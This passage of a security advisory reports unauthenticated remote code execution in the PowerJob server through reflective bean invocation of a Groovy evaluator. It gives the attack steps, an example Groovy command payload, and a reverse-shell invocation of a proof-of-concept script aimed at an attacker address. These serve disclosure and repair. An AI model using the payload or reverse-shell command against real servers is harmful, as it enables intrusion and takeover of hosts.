3. Vulnerability Location

Key source files (relative to repository root):

• powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (registers the 10010 routes, no authentication)
• powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
• powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
• powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

4. Root Cause

1. Zero authentication on the transport layer: PowerJob treats the communication protocols between Worker and Server (HTTP/AKKA/MU) as an "internal trust" zone. Any host that can reach ports 10010/10086/10077 is treated as a legitimate node; there is no handshake and no signature.
2. Arbitrary Bean reflection: RemoteRequestProcessor.processRemoteRequest fully trusts the className, methodName, parameterTypes and args fields of the request body — it uses Class.forName + SpringUtils.getBean to obtain any Spring Bean and then invokes any of its public methods via Spring ReflectionUtils.
3. Dangerous method reachable: GroovyEvaluator is a @Component bean whose evaluate(String, Object) calls the Groovy script engine (ScriptEngineManager) to eval() the attacker's expression directly.

The combination of the three equals unauthenticated RCE.

5. Attack Scenario (precondition: network reachability to port 10010 only)

1. The attacker sends an HTTP POST to port 10010 of the PowerJob server (no Cookie/Token required).
2. The request body is a RemoteProcessReq JSON that targets GroovyEvaluator.evaluate with an arbitrary Groovy expression (e.g., 'id'.execute().text).
3. The server reflectively invokes the method; the Groovy engine evaluates the expression.
4. The command-execution result is returned to the attacker in AskResponse.data (base64 JSON).
5. The attacker can also use Groovy to write arbitrary files, spawn a reverse shell, or exfiltrate data.

6. Reproduction (verified)

Environment: JDK 17, source-built powerjob-server-starter-5.1.2.jar (daily profile), server listening on 192.168.49.128:10010. Re-verified on JDK 21 (the shell-form payload below works on both; see the note on File.write below).

Actual response: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Base64-decoding the data field yields the command output executed on the server JVM:

Alternatively, you can reproduce it using the script:

python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

7. Observed vs Expected

• Observed: an unauthenticated HTTP request causes the server to execute arbitrary commands.
• Expected: /friend/process is part of Server↔Worker internal communication; it should reject unauthenticated requests, or the method should not be remotely invocable at all.

8. Impact

• Confidentiality: High — read arbitrary files/memory/credentials on the server.
• Integrity: High — arbitrary file write, tampering with configuration and jobs.
• Availability: High — can terminate processes/services.
• Impact boundary: server process → host (with the privileges of the service user); in a default deployment, the attacker can pivot laterally into the host's internal network.

9. Suggested Fix

1. Add mutual Server/Worker authentication (token/signature) to the transport layer and validate the source; do not expose 10010/10086/10077 to the public internet.
2. Change RemoteRequestProcessor to an allowlist: restrict className/methodName to framework-defined safe handlers and forbid reflective invocation of arbitrary beans.
3. Remove or strictly restrict the remote reachability of GroovyEvaluator (if it must remain, add authentication and a sandbox).
4. Disable /friend/process (S4S_HANDLER_PROCESS) by default or restrict it to internal sources only.

10. CWE

• Primary: CWE-94 (Improper Control of Generation of Code — Groovy injection)
• Secondary: CWE-470 (Use of Externally-Controlled Input to Select Classes or Code — arbitrary Bean reflection), CWE-306 (Missing Authentication for Critical Function)

11. CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical

12. Environment

• OS: Ubuntu 22.04 / Linux 6.8
• JDK: 17.0.19 (original reproduction); re-verified on OpenJDK 21.0.11
• Build: Maven 3.6.3, mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
• Database: MariaDB 10.6 (not required — /friend/process is triggerable without a database)
• Run: java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...